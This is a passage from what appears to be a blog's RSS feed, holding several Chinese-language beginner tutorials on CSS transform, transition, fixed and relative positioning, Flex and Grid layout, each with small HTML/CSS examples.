&lt;p&gt;使用transition制作元素外观之间的简单变换动画，但是类似于图形的移动，形变等并不太方便通过原本属性进行变换的则可以使用transform属性进行变换。其中形变可以使用3D的一些效果，就分为2D和3D两个部分&lt;/p&gt;
&lt;h3&gt;2D&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;实现（translate为例，其他根据用法带入即可）&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
	&amp;lt;head&amp;gt;
		&amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;
		&amp;lt;title&amp;gt;transform属性&amp;lt;/title&amp;gt;
		&amp;lt;style&amp;gt;
			.box {
				width: 100px;
				height: 100px;
				background-color: tomato;
				transition: transform 1s;
			}
			.box:hover {
				transform: translate(50%);
			}
		&amp;lt;/style&amp;gt;
	&amp;lt;/head&amp;gt;
	&amp;lt;body&amp;gt;
		&amp;lt;div class=&quot;box&quot;&amp;gt;&amp;lt;/div&amp;gt;
	&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3D&lt;/h3&gt;
&lt;p&gt;需要在父元素中创建3D效果展示区域，便于展示&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
	&amp;lt;head&amp;gt;
		&amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;
		&amp;lt;title&amp;gt;transform3D属性&amp;lt;/title&amp;gt;
		&amp;lt;style&amp;gt;
			.container {
				transform-style: preserve-3d;
				perspective: 800px;
			}
			.box {
				width: 100px;
				height: 100px;
				background-color: tomato;
				transition: transform 1s;
			}
			.box:hover {
				transform: rotate3d(1, 0, -1, 30deg); /* 或者是transform: rotateX(30deg) rotateZ(-30deg) */
			}
		&amp;lt;/style&amp;gt;
	&amp;lt;/head&amp;gt;
	&amp;lt;body&amp;gt;
		&amp;lt;div class=&quot;container&quot;&amp;gt;
			&amp;lt;div class=&quot;box&quot;&amp;gt;&amp;lt;/div&amp;gt;
		&amp;lt;/div&amp;gt;
	&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>固定定位</title><link>https://ivoinkwell.xyz/posts/web-frontend/css-fixed-positioning/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/web-frontend/css-fixed-positioning/</guid><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;固定定位可以使用于很多网站上，就比如正常滚动网页的时候，正常的网页上一般都会有一个上方，左侧等等位置会有一个导航栏等东西。但是随着页面滚动之后如果是页面元素会正常向上滚动，所以为了让这个元素正常固定，就需要使用到固定定位。&lt;/p&gt;
&lt;h2&gt;概念&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;相对定位&lt;/th&gt;
&lt;th&gt;绝对定位&lt;/th&gt;
&lt;th&gt;固定定位&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;相对于元素自己本身的位置。&lt;/td&gt;
&lt;td&gt;相对于非&lt;code&gt;static&lt;/code&gt;（静态）的父元素进行移动，若没有父元素或所有父元素均为&lt;code&gt;static&lt;/code&gt;（静态），则默认相对于浏览器窗口进行移动。&lt;/td&gt;
&lt;td&gt;相对于浏览器窗口，且不会因为任何父元素的&lt;code&gt;position&lt;/code&gt;改变而变化。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;原本的元素会继续保持在原本文档流的位置不动。&lt;/td&gt;
&lt;td&gt;原内容会脱离正常的文档流，会对后面的元素产生一定的影响。&lt;/td&gt;
&lt;td&gt;原内容会脱离正常的文档流，会对后面的元素产生一定的影响。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;语法格式&lt;/h2&gt;
&lt;h3&gt;属性&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;position&lt;/code&gt;：默认值是&lt;code&gt;static&lt;/code&gt;，固定定位则是&lt;code&gt;fixed&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;top&lt;/code&gt;：&lt;strong&gt;正值&lt;/strong&gt;：相对于父元素的上边框增加多少距离（向下移动）；&lt;strong&gt;负值&lt;/strong&gt;：相对于父元素的上边框减少多少距离（向上移动）；&lt;strong&gt;优先级高于&lt;code&gt;bottom&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;left&lt;/code&gt;：&lt;strong&gt;正值&lt;/strong&gt;：相对于父元素的左边框增加多少距离（向右移动）；&lt;strong&gt;负值&lt;/strong&gt;：相对于父元素的左边框减少多少距离（向左移动）；&lt;strong&gt;优先级高于&lt;code&gt;right&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bottom&lt;/code&gt;：&lt;strong&gt;正值&lt;/strong&gt;：相对于父元素的下边框增加多少距离（向上移动）；&lt;strong&gt;负值&lt;/strong&gt;：相对于父元素的下边框减少多少距离（向下移动）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;right&lt;/code&gt;：&lt;strong&gt;正值&lt;/strong&gt;：相对于父元素的右边框增加多少距离（向左移动）；&lt;strong&gt;负值&lt;/strong&gt;：相对于父元素的右边框减少多少距离（向右移动）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;z-index&lt;/code&gt;：层级顺序，&lt;strong&gt;固定定位元素高于普通文档流中元素&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;格式&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;.elements {
    position: fixed;
    top: 10px;
    left: 20px;
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Flex布局</title><link>https://ivoinkwell.xyz/posts/web-frontend/flex-layout/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/web-frontend/flex-layout/</guid><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;之前在暑假的时候自己写过一段事件的小程序，当时对于&lt;code&gt;Flex&lt;/code&gt;布局有过初步的了解，当时在写完小程序之后我还记得我说过，布局只要有&lt;code&gt;Flex&lt;/code&gt;和&lt;code&gt;Grid&lt;/code&gt;其他的都不重要。当时觉得这个布局十分的好用，但是并没有深入的去了解，但是经过深度学习之后，感觉比自己去摸索懂得会更透彻一些。&lt;/p&gt;
&lt;h2&gt;概念&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;Flex&lt;/code&gt;布局元素：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Flex&lt;/code&gt;容器：采用&lt;code&gt;Flex&lt;/code&gt;布局的元素，作为父元素&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Flex&lt;/code&gt;项目：&lt;code&gt;Flex&lt;/code&gt;布局内的子元素&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;Flex&lt;/code&gt;容器中有以下两个基本的概念：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;主轴（&lt;code&gt;main axis&lt;/code&gt;）：控制项目顺序的轴，方向根据&lt;code&gt;flex-direction&lt;/code&gt;改变&lt;/li&gt;
&lt;li&gt;交叉轴（&lt;code&gt;cross axis&lt;/code&gt;）：与主轴水平垂直的轴&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;容器的属性&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;flex-direction&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;flex-wrap&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;flex-flow&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;justify-content&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;align-items&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;align-cotent&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;code&gt;flex-direction&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;row&lt;/code&gt;（&lt;strong&gt;默认值&lt;/strong&gt;）：主轴为水平方向，起点在左端&lt;/li&gt;
&lt;li&gt;&lt;code&gt;row-reverse&lt;/code&gt;：主轴为水平方向，起点在右端&lt;/li&gt;
&lt;li&gt;&lt;code&gt;column&lt;/code&gt;：主轴为垂直方向，起点在上方&lt;/li&gt;
&lt;li&gt;&lt;code&gt;column-reverse&lt;/code&gt;：主轴为垂直方向，起点在下方&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;code&gt;flex-wrap&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;nowrap&lt;/code&gt;（&lt;strong&gt;默认值&lt;/strong&gt;）：不换行&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wrap&lt;/code&gt;：自动换行，第一行在开头&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wrap-reverse&lt;/code&gt;：自动换行，第一行在末尾&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;code&gt;justify-content&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;flex-start&lt;/code&gt;（默认值）：左对齐&lt;/li&gt;
&lt;li&gt;&lt;code&gt;flex-end&lt;/code&gt;：右对齐&lt;/li&gt;
&lt;li&gt;&lt;code&gt;center&lt;/code&gt;：居中&lt;/li&gt;
&lt;li&gt;&lt;code&gt;space-between&lt;/code&gt;：两端贴边，项目之间的间隔都相等&lt;/li&gt;
&lt;li&gt;&lt;code&gt;space-around&lt;/code&gt;：每个项目两侧的间隔相等，项目到边距的间距是两个项目的一半&lt;/li&gt;
&lt;li&gt;&lt;code&gt;space-evenly&lt;/code&gt;：每个项目之间，项目和边距之间相等&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;code&gt;align-items&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;stretch&lt;/code&gt;（&lt;strong&gt;默认值&lt;/strong&gt;）：默认拉伸填满整个容器&lt;/li&gt;
&lt;li&gt;&lt;code&gt;flex-start&lt;/code&gt;：交叉轴的起点对齐&lt;/li&gt;
&lt;li&gt;&lt;code&gt;flex-end&lt;/code&gt;：交叉轴的终点对齐&lt;/li&gt;
&lt;li&gt;&lt;code&gt;center&lt;/code&gt;：交叉轴的中点对齐&lt;/li&gt;
&lt;li&gt;&lt;code&gt;baseline&lt;/code&gt;：项目的第一行文字的基线对齐&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;code&gt;align-content&lt;/code&gt;（只有设置&lt;code&gt;flex-wrap&lt;/code&gt;属性之后才会生效）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;flex-start&lt;/code&gt;：与交叉轴的起点对齐&lt;/li&gt;
&lt;li&gt;&lt;code&gt;flex-end&lt;/code&gt;：与交叉轴的终点对齐&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cneter&lt;/code&gt;：与交叉轴的中点对齐&lt;/li&gt;
&lt;li&gt;&lt;code&gt;space-between&lt;/code&gt;：与交叉轴两端对齐，轴线之间的间隔平均分布&lt;/li&gt;
&lt;li&gt;&lt;code&gt;space-around&lt;/code&gt;：每根轴线两侧的间隔都相等。所以，轴线之间的间隔比轴线与边框的间隔大一倍&lt;/li&gt;
&lt;li&gt;&lt;code&gt;space-evenly&lt;/code&gt;：每行之间，边上两行到边距的距离都相等&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;code&gt;flex-flow&lt;/code&gt;（&lt;code&gt;flex-direction&lt;/code&gt;属性和&lt;code&gt;flex-wrap&lt;/code&gt;属性的简写形式）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;格式：&lt;code&gt;flex-flow: &amp;lt;flex-direction&amp;gt; &amp;lt;flex-wrap&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;项目的属性&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;order&lt;/code&gt;：设置排序顺序&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;项目展示&lt;/h1&gt;
&lt;h2&gt;源码&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;zh-CN&quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
    &amp;lt;title&amp;gt;05 响应式表单布局&amp;lt;/title&amp;gt;
    &amp;lt;style&amp;gt;
:root {
  --primary-color: #4a6ee0;
  --primary-light: #eef2ff;
  --primary-dark: #3a5ac8;
  --text-primary: #2d3748;
  --text-secondary: #718096;
  --border-color: #e2e8f0;
  --background-color: #f8fafc;
  --white: #ffffff;
  --success-color: #48bb78;
  --shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1),
    0 2px 4px -1px rgba(0, 0, 0, 0.06);
  --transition: all 0.3s ease;
}

body {
  background-color: var(--background-color);
  font-family: &quot;Segoe UI&quot;, Tahoma, Geneva, Verdana, sans-serif;
  line-height: 1.6;
  color: var(--text-primary);
  padding: 20px;
  min-height: 100vh;
}

form {
  max-width: 900px;
  margin: 0 auto;
  padding: 40px;
  box-sizing: border-box;
  border-radius: 12px;
  font-size: 16px;
  background-color: var(--white);
  box-shadow: var(--shadow);
  transition: var(--transition);
}

form:hover {
  box-shadow: 0 10px 15px -3px rgba(0, 0, 0, 0.1),
    0 4px 6px -2px rgba(0, 0, 0, 0.05);
}

label {
  color: var(--text-primary);
  font-weight: 500;
  transition: var(--transition);
}

input {
  font-size: 16px;
  color: var(--text-primary);
  outline: none;
  padding: 12px 16px;
  border-radius: 8px;
  border: 1px solid var(--border-color);
  box-sizing: border-box;
  transition: var(--transition);
  background-color: var(--white);
}

input:focus {
  border-color: var(--primary-color);
  box-shadow: 0 0 0 3px rgba(74, 110, 224, 0.2);
}

input:valid {
  border-color: var(--border-color);
}

input:valid:focus {
  border-color: var(--primary-color);
}

.submit {
  color: var(--white);
  background-color: var(--primary-color);
  cursor: pointer;
  font-weight: 600;
  border: none;
  padding: 14px 16px;
  transition: var(--transition);
}

.submit:hover {
  background-color: var(--primary-dark);
  transform: translateY(-2px);
}

.submit:active {
  transform: translateY(0);
}

    &amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;style&amp;gt;
  /* 请使用 flexbox 布局实现响应式表单 */
  form {
    display: flex;
    align-items: flex-end;
    gap: 24px;
    flex-wrap: wrap;
  }
  .name, .password {
    display: flex;
    flex-direction: column;
    gap: 8px;
  }
  .name, .password, .submit {
    flex: 1 1 200px;
  }
&amp;lt;/style&amp;gt;
&amp;lt;form action=&quot;#&quot; method=&quot;post&quot;&amp;gt;
  &amp;lt;label for=&quot;name&quot; class=&quot;name&quot;
    &amp;gt;姓名：
    &amp;lt;input type=&quot;text&quot; id=&quot;name&quot; name=&quot;name&quot; required=&quot;&quot; /&amp;gt;
  &amp;lt;/label&amp;gt;
  &amp;lt;label for=&quot;password&quot; class=&quot;password&quot;
    &amp;gt;密码：
    &amp;lt;input type=&quot;password&quot; id=&quot;password&quot; name=&quot;password&quot; required=&quot;&quot; /&amp;gt;
  &amp;lt;/label&amp;gt;
  &amp;lt;input type=&quot;submit&quot; class=&quot;submit&quot; value=&quot;提交&quot; /&amp;gt;
&amp;lt;/form&amp;gt;

    &amp;lt;script&amp;gt;

    &amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://ref.lylebox.dpdns.org:8443/docs/css.html#css-flexbox&quot;&gt;&lt;strong&gt;更多见Reference教程&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>transition属性制作CSS交互动画</title><link>https://ivoinkwell.xyz/posts/web-frontend/css-transition/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/web-frontend/css-transition/</guid><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;动画在生活中很常见，手机的APP打开就是从本来规定的图标形状变化到屏幕全屏的形状，中间时间的所有变化都是动画。在手机上就成为过渡动画，这个动画的本质目的其实就是让人脑有一个来回过程的显示，更便于其理解。这种理解的本意就是知其何来，知其何去。虽然有不少的人会觉得这种动画在Windows，Linux系统上就是增加硬件的负担，降低硬件性能，但是也是因为有来有回，而且动画使用特定的曲线让苹果在桌面系统中获得一席之地。&lt;/p&gt;
&lt;h2&gt;transition属性的属性值&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;transition-property&lt;/code&gt;：参与变换的属性（&lt;strong&gt;默认值：/&lt;/strong&gt;）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;transition-duration&lt;/code&gt;：变化的时间长度（&lt;strong&gt;默认值：0&lt;/strong&gt;）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;transition-timing-function&lt;/code&gt;：过渡动画的贝塞尔曲线设置（&lt;strong&gt;默认值：ease&lt;/strong&gt;）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;transition-delay&lt;/code&gt;：动画开始之前的等待时间（&lt;strong&gt;默认值：0&lt;/strong&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;效果展示&lt;/h2&gt;
&lt;p&gt;这几个属性便可以分开去写（&lt;strong&gt;效果：鼠标放在图形上时，正方形在1秒之内使用ease的贝塞尔曲线值转变成圆形&lt;/strong&gt;）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
    &amp;lt;head&amp;gt;
        &amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;
        &amp;lt;style&amp;gt;
            .box {
                width: 100px;
                height: 100px;
                background-color: tomato;
                margin: 50px auto;

                transition-property: border-radius;
                transition-duration: 1s;
                transition-timing-function: ease;
                transition-delay: 0s;
            }

            .box:hover {
                border-radius: 50%;
            }
        &amp;lt;/style&amp;gt;
    &amp;lt;/head&amp;gt;
    &amp;lt;body&amp;gt;
        &amp;lt;div class=&quot;box&quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;将其整合成&lt;code&gt;transtion&lt;/code&gt;一个属性：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;格式：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;transtion: 变化属性 变化时间 变化时使用的贝塞尔曲线 开始动画前的等待时间, 变化属性 变化时间 变化时使用的贝塞尔曲线 开始动画前的等待时间&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
    &amp;lt;head&amp;gt;
        &amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;
        &amp;lt;style&amp;gt;
            .box {
                width: 100px;
                height: 100px;
                background-color: tomato;
                margin: 50px auto;
                
                transition: border-radius 1s ease;
            }

            .box:hover {
                border-radius: 50%;
            }
        &amp;lt;/style&amp;gt;
    &amp;lt;/head&amp;gt;
    &amp;lt;body&amp;gt;
        &amp;lt;div class=&quot;box&quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;同时操作两个属性一起变化&lt;/strong&gt;（效果：鼠标放在图形上时，正方形在1秒之内使用ease的贝塞尔曲线值转变成圆形，&lt;strong&gt;同时宽度增加100px&lt;/strong&gt;）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
    &amp;lt;head&amp;gt;
        &amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;
        &amp;lt;style&amp;gt;
            .box {
                width: 100px;
                height: 100px;
                background-color: tomato;
                margin: 50px auto;

                transition: all 1s ease;
            }

            .box:hover {
                width: 200px;
                border-radius: 50%;
            }
        &amp;lt;/style&amp;gt;
    &amp;lt;/head&amp;gt;
    &amp;lt;body&amp;gt;
        &amp;lt;div class=&quot;box&quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>相对定位</title><link>https://ivoinkwell.xyz/posts/web-frontend/css-relative-positioning/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/web-frontend/css-relative-positioning/</guid><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;之前调整元素的位置只能使用&lt;code&gt;margin&lt;/code&gt;,&lt;code&gt;padding&lt;/code&gt;这些属性对其进行调整，例如元素的位置和周围的元素看起来高度不协调，一定是使用类似&lt;code&gt;margin-top: 2px&lt;/code&gt;这样的方法去调整高度。但是这样必定会出现一个问题 — 如果存在父级元素，父级元素会受到这样移动的影响。如果想要达到移动的同时可以解决对父级元素的影响，相对定位一定是一个很好的解决方案。&lt;/p&gt;
&lt;h2&gt;概念&lt;/h2&gt;
&lt;p&gt;相对定位的相对是相对于元素自己本身的位置，所以其原本的元素会继续保持在原本文档流的位置不动，只是显示的图片，文字等信息会进行位置的移动。&lt;/p&gt;
&lt;h2&gt;语法格式&lt;/h2&gt;
&lt;h3&gt;属性&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;position&lt;/code&gt;：默认值是&lt;code&gt;static&lt;/code&gt;，相对定位则是&lt;code&gt;relative&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;top&lt;/code&gt;：&lt;strong&gt;正值&lt;/strong&gt;：相对于原有的上边框增加多少距离（向下移动）；&lt;strong&gt;负值&lt;/strong&gt;：相对于原有的上边框减少多少距离（向上移动）；&lt;strong&gt;优先级高于&lt;code&gt;bottom&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;left&lt;/code&gt;：&lt;strong&gt;正值&lt;/strong&gt;：相对于原有的左边框增加多少距离（向右移动）；&lt;strong&gt;负值&lt;/strong&gt;：相对于原有的左边框减少多少距离（向左移动）；&lt;strong&gt;优先级高于&lt;code&gt;right&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bottom&lt;/code&gt;：&lt;strong&gt;正值&lt;/strong&gt;：相对于原有的下边框增加多少距离（向上移动）；&lt;strong&gt;负值&lt;/strong&gt;：相对于原有的下边框减少多少距离（向下移动）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;right&lt;/code&gt;：&lt;strong&gt;正值&lt;/strong&gt;：相对于原有的右边框增加多少距离（向左移动）；&lt;strong&gt;负值&lt;/strong&gt;：相对于原有的右边框减少多少距离（向右移动）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;z-index&lt;/code&gt;：层级顺序，&lt;strong&gt;层级顺序相同时，书写位置靠后的默认层级更高&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;格式&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;.elements {
    position: relative;
    top: 10px;
    left: 20px;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;注：top和，left层级高，写法就以这两个属性来写，另外两种的属性皆可实现相同效果&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;案例&lt;/h2&gt;
&lt;p&gt;我觉得对话框这样的一个案例是其中可以写的东西最多的，于是只使用了这一个&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;以下是源码：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
	&amp;lt;head&amp;gt;
		&amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;
		&amp;lt;title&amp;gt;对话框&amp;lt;/title&amp;gt;
		&amp;lt;style&amp;gt;
			* {
				margin: 0;
			}
			.tip {
				width: 150px;
				height: 80px;
				border: 4px solid red;
				border-radius: 6px;
				margin: 50px auto;
			}
			.triangle {
				width: 10px;
				height: 10px;
				border: 4px solid red;
				position: relative;
				left: 50%;
				top: -10px;
				transform: translate(-50%) rotate(45deg);
				border-bottom: none;
				border-right: none;
				background-color: #fff;
			}
		&amp;lt;/style&amp;gt;
	&amp;lt;/head&amp;gt;
	&amp;lt;body&amp;gt;
		&amp;lt;div class=&quot;tip&quot;&amp;gt;
			&amp;lt;div class=&quot;triangle&quot;&amp;gt;&amp;lt;/div&amp;gt;
		&amp;lt;/div&amp;gt;
	&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Grid布局</title><link>https://ivoinkwell.xyz/posts/web-frontend/grid-layout/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/web-frontend/grid-layout/</guid><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;这个布局之前我在写微信小程序的时候是非常喜欢的一个，毕竟我是一个喜欢规整布局的人。所以一开始就学了不少&lt;code&gt;Grid&lt;/code&gt;布局的属性，在&lt;code&gt;Flex&lt;/code&gt;布局中我确实漏学了不少知识，但是&lt;code&gt;Grid&lt;/code&gt;学下来却发现好像除了基础的术语，还真的学的差不多了。&lt;/p&gt;
&lt;h2&gt;概念&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;Grid&lt;/code&gt;布局元素：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Grid&lt;/code&gt;容器：采用&lt;code&gt;Grid&lt;/code&gt;布局的元素，作为父元素&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Grid&lt;/code&gt;项目：&lt;code&gt;Grid&lt;/code&gt;布局内的子元素&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;Grid&lt;/code&gt;容器中有以下两个基本的概念：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;块轴（&lt;code&gt;block axis&lt;/code&gt;）：垂直方向&lt;/li&gt;
&lt;li&gt;行内轴（&lt;code&gt;inline axis&lt;/code&gt;）：水平方向&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;Grid&lt;/code&gt;项目概念：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Grid&lt;/code&gt;项目主要是操作项目在整个网格中的位置，很多整体布局都是使用这个方法快速搭建出一个页面，这样能保证在不同设备上看到的结构是完全等比例的。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;容器&lt;/h2&gt;
&lt;h3&gt;属性&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;grid-template&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gap&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;justify-content&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;align-content&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;书写格式&lt;/h3&gt;
&lt;h4&gt;&lt;code&gt;grid-template&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;这个属性是一个复合属性，由两个属性组成的，分别是&lt;code&gt;grid-template-rows&lt;/code&gt;和&lt;code&gt;grid-template-columns&lt;/code&gt;组成，写法如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.grid-container {
    grid-template: [grid-template-rows] / [grid-template-columns];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;grid-template-rows&lt;/code&gt;和&lt;code&gt;grid-template-columns&lt;/code&gt;的示例写法如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.grid-container {
    grid-template-rows: 1fr 1fr 1fr; /* 均分三行，占满父容器 */
    grid-template-rows: repeat(3, 1fr); /* 与上面的写法等价 */
    grid-template-rows: 200px 1fr 1fr; /* 第一行200px，剩余空间均分两行，占满父容器 */
    grid-template-rows: 200px repeat(2, 1fr); /* 与上面的写法等价 */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;.grid-container {
    grid-template-columns: 1fr 1fr 1fr; /* 均分三行，占满父容器 */
    grid-template-columns: repeat(3, 1fr); /* 与上面的写法等价 */
    grid-template-columns: 200px 1fr 1fr; /* 第一列200px，剩余空间均分两列，占满父容器 */
    grid-template-columns: 200px repeat(2, 1fr); /* 与上面的写法等价 */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果写一个3×3的网格布局可以有一下两种等价写法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.grid-container {
    grid-template: repeat(3, 1fr) / repeat(3, 1fr);
}
&lt;/code&gt;&lt;/pre&gt;
